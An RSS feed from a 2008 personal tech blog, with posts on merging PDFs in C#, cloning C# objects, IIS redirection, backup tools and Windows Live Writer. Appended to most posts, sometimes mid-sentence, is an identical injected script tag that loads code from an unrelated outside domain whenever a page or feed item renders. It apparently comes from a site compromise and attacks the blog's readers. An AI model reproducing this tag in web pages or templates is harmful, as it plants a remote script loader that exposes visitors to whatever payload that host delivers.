<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Wacdesigns</title>
	<atom:link href="http://www.wacdesigns.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.wacdesigns.com</link>
	<description>What about Creativity ?</description>
	<lastBuildDate>Sat, 19 Jun 2010 12:58:26 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Merge pdf files using C#</title>
		<link>http://www.wacdesigns.com/2008/10/03/merge-pdf-files-using-c/</link>
		<comments>http://www.wacdesigns.com/2008/10/03/merge-pdf-files-using-c/#comments</comments>
		<pubDate>Fri, 03 Oct 2008 23:00:57 +0000</pubDate>
		<dc:creator>jf</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.wacdesigns.com/2008/10/03/merge-pdf-files-using-c/</guid>
		<description><![CDATA[Recently I had to create an assembly component using C# to merge multiple PDF files into one file. The specification was pretty straight forward: 1) Merge two of more PDF document into a single output PDF File. 2) Used on an ASP.NET Page After a few minutes of GOOG, I came up to this &#8220;ITextSharp&#8221;]]></description>
			<content:encoded><![CDATA[<p>Recently I had to create an assembly component using C# to merge multiple PDF files into one file. The specification was pretty straight forward:<br />
1) Merge two of more PDF document into a single output PDF File.<br />
2) Used on an ASP.NET Page</p>
<p>After a few minutes of GOOG, I came up to this &#8220;<a title="ITextSharp" href="http://sourceforge.net/projects/itextsharp/" target="_blank">ITextSharp</a>&#8221;</p>
<blockquote><p>iText# (iTextSharp) is a port of the iText open source java library written entirely in C# for the .NET platform. iText# is a library that allows you to generate PDF files on the fly. It is implemented as an assembly.</p></blockquote>
<p><em>It must be noted that the assembly is coded and compiled using the .NET Framework 1.1. You might want to migrate to the version 2.0 or 3.5 of the .NET Framework. </em></p>
<p>With a some more research on PDF merging. I was able to create a class that will make use of the ITextSharp assembly and perform as the merge pdf operation as needed.<br />
<p class="error"><strong>[ad]</strong> Empty ad slot (#1)!</p><br />
Here is the code:<br />
[csharp]using iTextSharp.text;<br />
using iTextSharp.text.pdf;</p>
<p>public class MergeEx<br />
{<br />
#region Fields<br />
private string sourcefolder;<br />
private string destinationfile;<br />
private IList fileList = new ArrayList();<br />
#endregion</p>
<p>#region Public Methods<br />
///<br />
/// Add a new file, together with a given docname to the fileList and namelist collection<br />
///<br />
///  public void AddFile(string pathnname)<br />
{<br />
fileList.Add(pathnname);<br />
}</p>
<p>///<br />
/// Generate the merged PDF<br />
///<br />
public void Execute()<br />
{<br />
MergeDocs();<br />
}<br />
#endregion</p>
<p>#region Private Methods<br />
///<br />
/// Merges the Docs and renders the destinationFile<br />
///<br />
///  ///  private void MergeDocs()<br />
{</p>
<p>//Step 1: Create a Docuement-Object<br />
Document document = new Document();<br />
try<br />
{<br />
//Step 2: we create a writer that listens to the document<br />
PdfWriter writer = PdfWriter.GetInstance(document, new FileStream(destinationfile, FileMode.Create));</p>
<p>//Step 3: Open the document<br />
document.Open();</p>
<p>PdfContentByte cb = writer.DirectContent;<br />
PdfImportedPage page;</p>
<p>int n = 0;<br />
int rotation = 0;</p>
<p>//Loops for each file that has been listed<br />
foreach (string filename in fileList)<br />
{<br />
//The current file path<br />
string filePath = sourcefolder + filename;</p>
<p>// we create a reader for the document<br />
PdfReader reader = new PdfReader(filePath);</p>
<p>//Gets the number of pages to process<br />
n = reader.NumberOfPages;</p>
<p>int i = 0;<br />
while (i &lt; n)<br />
{<br />
i++;<br />
document.SetPageSize(reader.GetPageSizeWithRotation(1));<br />
document.NewPage();</p>
<p>//Insert to Destination on the first page<br />
if (i == 1)<br />
{<br />
Chunk fileRef = new Chunk(&#8221; &#8220;);<br />
fileRef.SetLocalDestination(filename);<br />
document.Add(fileRef);<br />
}</p>
<p>page = writer.GetImportedPage(reader, i);<br />
rotation = reader.GetPageRotation(i);<br />
if (rotation == 90 || rotation == 270)<br />
{<br />
cb.AddTemplate(page, 0, -1f, 1f, 0, 0, reader.GetPageSizeWithRotation(i).Height);<br />
}<br />
else<br />
{<br />
cb.AddTemplate(page, 1f, 0, 0, 1f, 0, 0);<br />
}<br />
}<br />
}<br />
}<br />
catch (Exception e) { throw e; }<br />
finally { document.Close(); }<br />
}<br />
#endregion</p>
<p>#region Properties<br />
///<br />
/// Gets or Sets the SourceFolder<br />
///<br />
public string SourceFolder<br />
{<br />
get { return sourcefolder; }<br />
set {sourcefolder = value; }<br />
}</p>
<p>///<br />
/// Gets or Sets the DestinationFile<br />
///<br />
public string DestinationFile<br />
{<br />
get { return destinationfile; }<br />
set { destinationfile = value; }<br />
}<br />
#endregion<br />
}<br />
[/csharp]<br />
To use the MergeEx class:<br />
1) Initialize the class<br />
2) Set the SourceFolder and DestinationFile properties<br />
3) Using the AddFile method, add the source file names that need to be merged (Filename only since the SourceFolder has already been set)<br />
4) Call the Execute Method</p>
<p>If everything works fine you will find your Merged PDF Document at your stated destination file.</p>
<p>The code is pretty much self decribed. If there is any question, i can always be contacted via this post.<script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.wacdesigns.com/2008/10/03/merge-pdf-files-using-c/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>SEO: Bounce rate of a website</title>
		<link>http://www.wacdesigns.com/2008/09/22/seo-bounce-rate-of-a-website/</link>
		<comments>http://www.wacdesigns.com/2008/09/22/seo-bounce-rate-of-a-website/#comments</comments>
		<pubDate>Mon, 22 Sep 2008 15:55:00 +0000</pubDate>
		<dc:creator>jf</dc:creator>
				<category><![CDATA[Internet Articles]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[Search Engine]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Analytics]]></category>
		<category><![CDATA[Bounce Rate]]></category>

		<guid isPermaLink="false">http://www.wacdesigns.com/2008/09/22/seo-bounce-rate-of-a-website/</guid>
		<description><![CDATA[Why is my bounce rate so high ? Definition: A bounce occurs when a person leaves your website after reaching your entry page. The above cases can be considered equally as bounces from your website. 1) Visitor enters your site and press back immediately (before or even after the page has loaded) 2) Visitor waits]]></description>
			<content:encoded><![CDATA[<p><strong><em></em></strong></p>
<h3>Why is my bounce rate so high ?</h3>
<p><img src="http://s3.amazonaws.com:80/0MA9W84DQNJ4QTT686G2_MyBlogUploads/Photo/3573944_242afda7be.jpg" alt="" /></p>
<p>Definition: A bounce occurs when a person leaves your website after reaching your entry page. The above cases can be considered equally as bounces from your website.</p>
<p>1) Visitor enters your site and press back immediately (before or even after the page has loaded)</p>
<p>2) Visitor waits for the page to load stays on this page for some time and then press back or navigate on another site. ( In this case the visitor might have found the information and then chose to navigate elsewhere to either find some supplementary information. Or it could be that he/she might not have found it but just read some pieces to see what is there, a third case could be the persons did not like the: website, content or colors on the site and went away.)</p>
<p>Therefore there seems to be considerable number of aspects to take into consideration to get a more precise question about “<em>Why is my bounce rate so high ?</em>”. There isn’t any straight forward answer to this question, but there are many questions that can lead to possible solutions:</p>
<p>When you ask your questions about bounce rate here are the different questions that might come to your mind.</p>
<p><span style="text-decoration: underline;">Why is my bounce rate so high ?</span></p>
<p><strong>User Interface<br />
</strong>Is my layout/presentation/design attractive to visitors ?<br />
Does my pages load slowly ?<br />
Do my page have appropriate ads ? Are these ads <em>non-aggressive</em> towards the user ?<br />
Is your page browser friendly ? (Can be views at any resolution with any browser the same way)</p>
<p><strong>Content</strong></p>
<p>Does<script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.wacdesigns.com/2008/09/22/seo-bounce-rate-of-a-website/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Windows Live Writer</title>
		<link>http://www.wacdesigns.com/2008/09/19/windows-live-writer/</link>
		<comments>http://www.wacdesigns.com/2008/09/19/windows-live-writer/#comments</comments>
		<pubDate>Fri, 19 Sep 2008 15:33:00 +0000</pubDate>
		<dc:creator>jf</dc:creator>
				<category><![CDATA[Bloggers]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[Windows Live Writer]]></category>

		<guid isPermaLink="false">http://www.wacdesigns.com/2008/09/19/windows-live-writer/</guid>
		<description><![CDATA[It’s been not nearly a year since I last used Windows Live Writer, there seems to have been a lot of enhancement and changes compared to the first version that i have tried up. Today, I&#8217;ll be giving a try to the beta version (Build 14.0.5025.904). The setup was quiet easy and straight forward, warning]]></description>
			<content:encoded><![CDATA[<p>It’s been not nearly a year since I last used Windows Live Writer, there seems to have been a lot of enhancement and changes compared to the first version that i have tried up. Today, I&#8217;ll be giving a try to the beta version (Build 14.0.5025.904). The setup was quiet easy and straight forward, warning me that I must enable XML-RPC on my blog before I can continue.</p>
<p>The first thing I installed is the <a href="http://www.codeplex.com/s3browser" target="_blank">S3 Object plug-in</a>, to be able to upload images directly to my Amazon S3 account and use them on this post.</p>
<p><img src="http://s3.amazonaws.com:80/0MA9W84DQNJ4QTT686G2_MyBlogUploads/Photo/WindowsLiveWriterMain.JPG" alt="" width="561" height="480" /></p>
<p>This image comes from my S3 bucket.</p>
<p>There are many feature such as the Insert Map: Let’s try it out and point out Mauritius for example <img src='http://www.wacdesigns.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div id="scid:84E294D0-71C9-4bd0-A0FE-95764E0368D9:0564affd-941e-4eb5-9b97-d138d39f7d94" class="wlWriterEditableSmartContent" style="padding-right: 0px; display: inline; padding-left: 0px; float: none; padding-bottom: 0px; margin: 0px; padding-top: 0px"><a id="map-1458b467-ce72-4bbc-b6ae-5ac342dc9e9e" title="Click to view this map on Live.com" href="http://maps.live.com/default.aspx?v=2&amp;cp=-20.01295~57.57085&amp;lvl=14&amp;style=a&amp;sp=aN.-20.01553_57.57196_Where%2520I%2520Live%2520%253a)_This%2520is%2520where%2520i%2520live..._http%253a%252f%252fwww.wacdesigns.com%252f2006%252f10%252f18%252fphotos-of-mauritius%252f_http%253a%252f%252fwww.wacdesigns.com%252fwp-content%252fuploads%252f2006%252f10%252fWindowsLiveWriter%252fPhotosofMauritius%25255fB17E%252fPicture%252520-%252520Grand-Bay%252520009%25255B3%25255D.jpg&amp;mkt=en-us&amp;FORM=LLWR"><img src="http://www.wacdesigns.com/wp-content/uploads/2008/09/map6cf1c9909681.jpg" alt="Where i live." width="416" height="312" /></a><br />
<label style="font-size:.8em;" for="map-1458b467-ce72-4bbc-b6ae-5ac342dc9e9e">Where i live.</label></div>
<p>Nice. <span style="text-decoration: line-through;">I have also created a Marker (Push Pin).</span> Which does not seem to appear, When you create a map on Windows Live Messenger, it&#8217;s not the actual map that appears but an image with a link to the actual map&#8230; <img src='http://www.wacdesigns.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p>Some other comment: There is to a problem, when there are connection cuts. The application just hangs during an operation. It was the case for my first post. Hope that is will be happen.</p>
<p>Conclusion a very nice and elaborated tool for blogging. I’ll will be trying it for a fews days and will send some feedback on this post. Or create a new one if need be.</p>
<p><p class="error"><strong>[ad]</strong> Empty ad slot (#1)!</p><br />
My previous article to Windows Live Writer can be found <a title="Windows Live Writer Beta" href="http://www.wacdesigns.com/2006/10/13/windows-live-writer-beta/" target="_blank">here</a><script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.wacdesigns.com/2008/09/19/windows-live-writer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Random pictures: Karate or Kung Fu Lessons ?</title>
		<link>http://www.wacdesigns.com/2008/09/19/random-pictures-karate-or-kung-fu-lessons-2/</link>
		<comments>http://www.wacdesigns.com/2008/09/19/random-pictures-karate-or-kung-fu-lessons-2/#comments</comments>
		<pubDate>Fri, 19 Sep 2008 03:00:00 +0000</pubDate>
		<dc:creator>jf</dc:creator>
				<category><![CDATA[Cool Stuff]]></category>
		<category><![CDATA[Photo]]></category>
		<category><![CDATA[Fun]]></category>

		<guid isPermaLink="false">http://www.wacdesigns.com/2008/09/18/random-pictures-karate-or-kung-fu-lessons-2/</guid>
		<description><![CDATA[These two seems to be in need of some bucks.. HELP THEM !!! Post your comments for the karate girl here. &#160; Post your comments for the kung fu guy here.]]></description>
			<content:encoded><![CDATA[<p>These two seems to be in need of some bucks.. HELP THEM !!!</p>
<p><a href="http://www.flickr.com/photos/cmatta/30604498/" target="_blank"><img src="http://farm1.static.flickr.com/23/30604498_04c218e680.jpg" /></a> </p>
<p>Post your comments for the karate girl <a href="http://www.flickr.com/photos/cmatta/30604498/" target="_blank">here</a>.</p>
<p><a href="http://flickr.com/photos/boojee/29776608/" target="_blank"><img src="http://farm1.static.flickr.com/21/29776608_6a6b104940.jpg" /></a>&#160;</p>
<p>Post your comments for the kung fu guy <a href="http://flickr.com/photos/boojee/29776608/" target="_blank">here</a>.</p>
<p><p class="error"><strong>[ad]</strong> Empty ad slot (#1)!</p><script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.wacdesigns.com/2008/09/19/random-pictures-karate-or-kung-fu-lessons-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>backup and share files using MozyHome and Dropbox</title>
		<link>http://www.wacdesigns.com/2008/09/18/backup-and-share-files-using-mozyhome-and-dropbox/</link>
		<comments>http://www.wacdesigns.com/2008/09/18/backup-and-share-files-using-mozyhome-and-dropbox/#comments</comments>
		<pubDate>Thu, 18 Sep 2008 16:00:17 +0000</pubDate>
		<dc:creator>jf</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[Tech]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Backup]]></category>
		<category><![CDATA[Dropbox]]></category>
		<category><![CDATA[Mozy]]></category>
		<category><![CDATA[Storage]]></category>
		<category><![CDATA[Web 2.0]]></category>

		<guid isPermaLink="false">http://www.wacdesigns.com/?p=130</guid>
		<description><![CDATA[If you are wondering what are the choices you have to make share and backup your files, you might easily be able to find hundreds of alternative on the web today. Each one with their different features and technologies. I came across 2 free tools that i use for my backup and file sharing: MozyHome]]></description>
			<content:encoded><![CDATA[<p>If you are wondering what are the choices you have to make share and backup your files, you might easily be able to find hundreds of alternative on the web today. Each one with their different features and technologies.</p>
<p>I came across 2 free tools that i use for my backup and file sharing:</p>
<p>
<h2><a title="MozyHome Remote Backup" href="http://mozy.com/home" target="_blank">MozyHome Remote Backup</a></h2>
</p>
<p>&nbsp;</p>
<p><img class="size-medium wp-image-132 alignnone" title="mozyhome" src="http://www.wacdesigns.com/wp-content/uploads/2008/09/mozyhome-300x116.jpg" alt="" width="300" height="116" /></p>
<p><strong>MozyHome </strong>is a small application that runs on background and backups any folder that you configure it to. It will encrypt and then upload your files to your 2 GB free space. You have several tools to enable you to them restore any lost files. Nice for uploading document, project files. You have also the paid version with unlimited space.</p>
<p>
<h2><a title="Dropbox" href="http://www.getdropbox.com" target="_blank">Dropbox</a></h2>
</p>
<p>&nbsp;</p>
<p><img class="alignnone size-medium wp-image-131" title="dropbox" src="http://www.wacdesigns.com/wp-content/uploads/2008/09/dropbox-300x154.jpg" alt="" width="300" height="154" /></p>
<p>Dropbox is a new tool, that just got public last week. It&#8217;s similar to Mozybackup with 2 GB free space and the posibility of backup your files. With some extra features such as file sharing and automatic sync. Personally I use it to share files only. Since your files need to be in the DropDox folder (Similar concept and LiveMSN sharing folder) to be able to share.</p>
<p>It also allows sharing of files and give you a nice public URL that you can easily send to the person you want to share your files with. The only lacking features i might see here, is that you can&#8217;t share an entire folder with files inside. i.e When you want to share several photos you can&#8217;t directly get a link to the folder. You must share it with someone that already has Dropbox. A feature that would enable a link to a zip version of an entire folder could be nice.<br />
<p class="error"><strong>[ad]</strong> Empty ad slot (#1)!</p><script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.wacdesigns.com/2008/09/18/backup-and-share-files-using-mozyhome-and-dropbox/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>IIS: Redirection from non-www to www domain</title>
		<link>http://www.wacdesigns.com/2008/08/08/iis-redirection-from-non-www-to-www-domain/</link>
		<comments>http://www.wacdesigns.com/2008/08/08/iis-redirection-from-non-www-to-www-domain/#comments</comments>
		<pubDate>Fri, 08 Aug 2008 02:00:42 +0000</pubDate>
		<dc:creator>jf</dc:creator>
				<category><![CDATA[Cool Stuff]]></category>
		<category><![CDATA[Hosting]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[IIS]]></category>

		<guid isPermaLink="false">http://www.wacdesigns.com/?p=121</guid>
		<description><![CDATA[The problem today, is that we have a great asp.net website but search engines are indexing the http://greataspnetwebsite.com instead of http://www.greataspnetwebsite.com, this is commonly seen on the web and there are several ways to archive a good result for making the non-www to www domain. This redirection should be a 301 Permanently Moved, otherwise you]]></description>
			<content:encoded><![CDATA[<p>The problem today, is that we have a great asp.net website but search engines are indexing the <a href="#">http://greataspnetwebsite.com</a> instead of <a href="#">http://www.greataspnetwebsite.com</a>, this is commonly seen on the web and there are several ways to archive a good result for making the non-www to www domain. This redirection should be a <strong>301 Permanently Moved</strong>, otherwise you will might lose your search engine indexed page or become duplicate content for your non-www and www domain. Here are easy steps how to archive a quick and clean Permanent Redirection using IIS.</p>
<p>Consider the case where we already have a website in IIS called: greataspnetwebsite.com</p>
<ul>
<li>Go to IIS Manager</li>
<li>Create a new website that point to the same directory as your existing one</li>
<li>Select the newly created website, open the properties box</li>
<li>In the option button <span style="color: black;">&#8220;When connecting to this resource the      content should come from&#8221; should be </span>change to &#8220;<span style="color: black;">A redirection to a URL</span>&#8220;</li>
<li>Specify the URL http://www.greataspnetwebsite.com</li>
<li>Select the check box <span style="color: black;">that      says &#8220;A permanent redirection for this resource.&#8221; </span></li>
</ul>
<p><a href="http://www.wacdesigns.com/wp-content/uploads/2008/08/iisredirectionsetting.jpg"><img class="alignnone size-full wp-image-123" title="iis redirection setting" src="http://www.wacdesigns.com/wp-content/uploads/2008/08/iisredirectionsetting.jpg" alt="" width="430" height="211" /></a><br />
<p class="error"><strong>[ad]</strong> Empty ad slot (#1)!</p><script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.wacdesigns.com/2008/08/08/iis-redirection-from-non-www-to-www-domain/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Copy-Clone custom object in C#</title>
		<link>http://www.wacdesigns.com/2008/08/05/copy-clone-custom-object-in-c/</link>
		<comments>http://www.wacdesigns.com/2008/08/05/copy-clone-custom-object-in-c/#comments</comments>
		<pubDate>Tue, 05 Aug 2008 02:00:53 +0000</pubDate>
		<dc:creator>jf</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[C#]]></category>

		<guid isPermaLink="false">http://www.wacdesigns.com/?p=83</guid>
		<description><![CDATA[This post relates how to Copy/Clone custom object in C# (Deep and Shallow Clone). In this example I will be having a base class that all my custom object will be inheriting from. Updates: After quiet some research on the subject i recently found some interesting articles on this subject and wanted to share them]]></description>
			<content:encoded><![CDATA[<p>This post relates how to Copy/Clone custom object in C# (Deep and Shallow Clone).</p>
<p><span style="text-decoration: line-through;">In this example I will be having a base class that all my custom object will be inheriting from.</span></p>
<p><strong>Updates: </strong>After quiet some research on the subject i recently found some interesting articles on this subject and wanted to share them on this post.</p>
<h3>Object Cloning Using IL in C#</h3>
<blockquote><p>This subject is inspired on a session I followed on the TechDays 2008,<br />
that addressed the fact that IL (Intermediate Language) can be used to clone objects, among other things, and that it&#8217;s not evil at all, and it can be pretty performant also.</p>
<p>You only have to see that you don&#8217;t overuse it tho, because otherwise the readability of your code is reduced, which is not a good thing for the maintenance.<br />
And wrong usage of reflection (what IL is, or at least uses) can also result in poor performance.</p>
<p><em>Read more:</em><br />
<em><a href="http://whizzodev.blogspot.com/2008/03/object-cloning-using-il-in-c.html" target="_blank">http://whizzodev.blogspot.com/2008/03/object-cloning-using-il-in-c.html</a></em></p></blockquote>
<h3>C# Class For Making a Deep Copy Clone of an Arbitrary Object</h3>
<blockquote><p>Here is a C# class that can create a deep copy clone of an arbitrary object. The thing that&#8217;s special about it is that it should work for any class that extends it, so that you don&#8217;t need to re-write a custom clone() function for every child class (as it seems the C# framework creators would like). This does a deep copy so be careful about members that recursively include one another.</p>
<p>Another way of doing this would be to use serialization . . . I just personally thought the reflection package would be more elegant.</p>
<p><em>Read more: </em><br />
<em><a href="http://www.thomashapp.com/node/106" target="_blank">http://www.thomashapp.com/node/106</a></em></p></blockquote>
<h3>C# Object Clone Wars</h3>
<blockquote><p>Cloning C# objects is one of those things that appears easy but is actually quite complicated with many &#8220;gotchas.&#8221; This article describes the most common ways to clone a C# object.</p>
<p><strong>Shallow vs. Deep Cloning</strong></p>
<p>There are two types of object cloning: shallow and deep. A shallow clone copies the references but not the referenced objects. A deep clone copies the referenced objects as well.</p>
<div class="wp-caption alignnone" style="width: 410px"><a href="http://www.csharp411.com/c-object-clone-wars/"><img title="Shallow vs Deep Cloning" src="http://www.csharp411.com/wordpress/wp-content/uploads/2008/05/objectclone-thumb.jpg" alt="hallow vs Deep Cloning" width="400" height="195" /></a><p class="wp-caption-text">shallow vs Deep Cloning</p></div>
<p><em>Read more:<br />
<a href="http://www.csharp411.com/c-object-clone-wars/" target="_blank">http://www.csharp411.com/c-object-clone-wars/</a></em></p></blockquote>
<h3><strong>Clone C# Object</strong> using Serialization and De-serialization (Deep Clone)</h3>
<p>In this example i&#8217;ll be using Serialization and De-Serialization to make a deep clone of the Person Class.</p>
<p>You must import the following namespaces to start with.<br />
[csharp]<br />
using System;<br />
using System.Text;<br />
using System.Xml;<br />
using System.Xml.Serialization;<br />
using System.Runtime.Serialization;<br />
using System.IO;<br />
[/csharp]</p>
<p>Let&#8217;s create a base class <strong>Person </strong>that all our other classes with inherit from. It will contain the following methods:</p>
<ul>
<li>ToXMLString() : Returns an XML version of the current object</li>
<li>Deserialize(XmlDocument xml, Type type) : De-serialize the current XMLDocument cast it to the current type</li>
<li>Serialize(object o) : Serialize the current object and outputs an XMLDocument</li>
<li>Clone(): Runs a Serialization and De-serialization and returns a clone of the current Object</li>
</ul>
<p>[csharp]<br />
[Serializable()]<br />
public abstract class Person<br />
{<br />
///<br />
<summary>
/// To XML string.<br />
/// </summary>
<p>/// <returns></returns><br />
public string ToXMLString()<br />
{<br />
XmlSerializer serializer = new XmlSerializer(this.GetType());<br />
MemoryStream dataStream = new MemoryStream();<br />
XmlTextWriter writer = new XmlTextWriter(dataStream, Encoding.UTF8);<br />
serializer.Serialize(dataStream, this);<br />
return writer.ToString();<br />
}</p>
<p>///<br />
<summary>
/// Deserializes an xml document back into an object<br />
/// </summary>
<p>///
<param name="xml">The xml data to deserialize</param>
///
<param name="type">The type of the object being deserialized</param>
/// <returns>A deserialized object</returns><br />
public static object Deserialize(XmlDocument xml, Type type)<br />
{<br />
XmlSerializer s = new XmlSerializer(type);<br />
string xmlString = xml.OuterXml.ToString();<br />
byte[] buffer = ASCIIEncoding.UTF8.GetBytes(xmlString);<br />
MemoryStream ms = new MemoryStream(buffer);<br />
XmlReader reader = new XmlTextReader(ms);<br />
Exception caught = null;</p>
<p>try<br />
{<br />
object o = s.Deserialize(reader);<br />
return o;<br />
}</p>
<p>catch (Exception e)<br />
{<br />
caught = e;<br />
}<br />
finally<br />
{<br />
reader.Close();</p>
<p>if (caught != null)<br />
throw caught;<br />
}<br />
return null;<br />
}</p>
<p>///<br />
<summary>
/// Serializes an object into an Xml Document<br />
/// </summary>
<p>///
<param name="o">The object to serialize</param>
/// <returns>An Xml Document consisting of said object&#8217;s data</returns><br />
public static XmlDocument Serialize(object o)<br />
{<br />
XmlSerializer s = new XmlSerializer(o.GetType());</p>
<p>MemoryStream ms = new MemoryStream();<br />
XmlTextWriter writer = new XmlTextWriter(ms, new UTF8Encoding());<br />
writer.Formatting = Formatting.Indented;<br />
writer.IndentChar = &#8216; &#8216;;<br />
writer.Indentation = 5;<br />
Exception caught = null;</p>
<p>try<br />
{<br />
s.Serialize(writer, o);<br />
XmlDocument xml = new XmlDocument();<br />
string xmlString = ASCIIEncoding.UTF8.GetString(ms.ToArray());<br />
xml.LoadXml(xmlString);<br />
return xml;<br />
}<br />
catch (Exception e)<br />
{<br />
caught = e;<br />
}<br />
finally<br />
{<br />
writer.Close();<br />
ms.Close();</p>
<p>if (caught != null)<br />
throw caught;<br />
}<br />
return null;<br />
}</p>
<p>///<br />
<summary>
/// Creates a new object that is a copy of the current instance.<br />
/// </summary>
<p>/// <returns><br />
/// A new object that is a copy of this instance.<br />
/// </returns><br />
public object Clone()<br />
{<br />
return Deserialize(Serialize(this), this.GetType());<br />
}<br />
}<br />
[/csharp]</p>
<p>Here are sample classes that herits from the abstract base class and clone operation are performed upon them.</p>
<p>[csharp]</p>
<p>public class Clerk: Person<br />
{<br />
private string position;</p>
<p>///<br />
<summary>
/// Gets or sets the position.<br />
/// </summary>
<p>/// <value>The position.</value><br />
public string Position<br />
{<br />
get { return position; }<br />
set { position = value; }<br />
}<br />
}</p>
<p>public class Developer: Person<br />
{<br />
private string skill;</p>
<p>///<br />
<summary>
/// Gets or sets the skill.<br />
/// </summary>
<p>/// <value>The skill.</value><br />
public string Skill<br />
{<br />
get { return skill; }<br />
set { skill= value; }<br />
}<br />
}</p>
<p>[/csharp]</p>
<p>Using clone method.</p>
<p>[csharp]</p>
<p>public void UpdateSkills()<br />
{<br />
IList<clerk> clerkList = new ArrayList();<br />
IList<clerk> newClerkList = new ArrayList();</p>
<p>foreach (Clerk clerk in clerkList)<br />
{<br />
newClerkList.Add((Clerk)clerk.Clone());<br />
}<br />
}</p>
<p>[/csharp]<br />
<p class="error"><strong>[ad]</strong> Empty ad slot (#1)!</p><script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.wacdesigns.com/2008/08/05/copy-clone-custom-object-in-c/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>ASP.NET: HyperLink and Label without Id attribute</title>
		<link>http://www.wacdesigns.com/2008/08/04/aspnet-hyperlink-and-label-without-id-attributes/</link>
		<comments>http://www.wacdesigns.com/2008/08/04/aspnet-hyperlink-and-label-without-id-attributes/#comments</comments>
		<pubDate>Mon, 04 Aug 2008 02:00:54 +0000</pubDate>
		<dc:creator>jf</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.wacdesigns.com/?p=98</guid>
		<description><![CDATA[Today, I&#8217;ll talk a bit about how ASP.NET handles HTML rendering of controls such as &#60;asp:HyperLink&#62; and &#60;asp:Label&#62;.]]></description>
			<content:encoded><![CDATA[<p>Today, I&#8217;ll talk a bit about how ASP.NET handles HTML rendering of controls such as &lt;asp:HyperLink&gt; and &lt;asp:Label&gt;.<script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.wacdesigns.com/2008/08/04/aspnet-hyperlink-and-label-without-id-attributes/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Fatal error: require_once() [function.require]: Failed opening required &#8216;Text/Diff/Renderer.php&#8217;</title>
		<link>http://www.wacdesigns.com/2008/08/02/fatal-error-require_once-functionrequire-failed-opening-required-textdiffrendererphp/</link>
		<comments>http://www.wacdesigns.com/2008/08/02/fatal-error-require_once-functionrequire-failed-opening-required-textdiffrendererphp/#comments</comments>
		<pubDate>Sat, 02 Aug 2008 18:24:34 +0000</pubDate>
		<dc:creator>jf</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Bug]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.wacdesigns.com/?p=99</guid>
		<description><![CDATA[Was just trying to view one of my post that i modified once after being published and bumbed up with a page with these error messages: Warning: ini_set() has been disabled for security reasons in /home/wacdesig/public_html/wp-includes/pluggable.php on line 1517 Warning: require_once(Text/Diff/Renderer.php) [function.require-once]: failed to open stream: No such file or directory in /home/wacdesig/public_html/wp-includes/Text/Diff/Renderer/inline.php on line]]></description>
			<content:encoded><![CDATA[<p>Was just trying to view one of my post that i modified once after being published and bumbed up with a page with these error messages:</p>
<p><strong>Warning</strong>:  ini_set() has been disabled for security reasons in <strong>/home/wacdesig/public_html/wp-includes/pluggable.php</strong> on line <strong>1517</strong></p>
<p><strong>Warning</strong>:  require_once(Text/Diff/Renderer.php) [function.require-once]: failed to open stream: No such file or directory in <strong>/home/wacdesig/public_html/wp-includes/Text/Diff/Renderer/inline.php</strong> on line <strong>17</strong></p>
<p><strong>Fatal error</strong>:  require_once() [function.require]: Failed opening required &#8216;Text/Diff/Renderer.php&#8217; (include_path=&#8217;.:/usr/lib/php:/usr/local/lib/php&#8217;) in <strong>/home/wacdesig/public_html/wp-includes/Text/Diff/Renderer/inline.php</strong> on line <strong>17</strong></p>
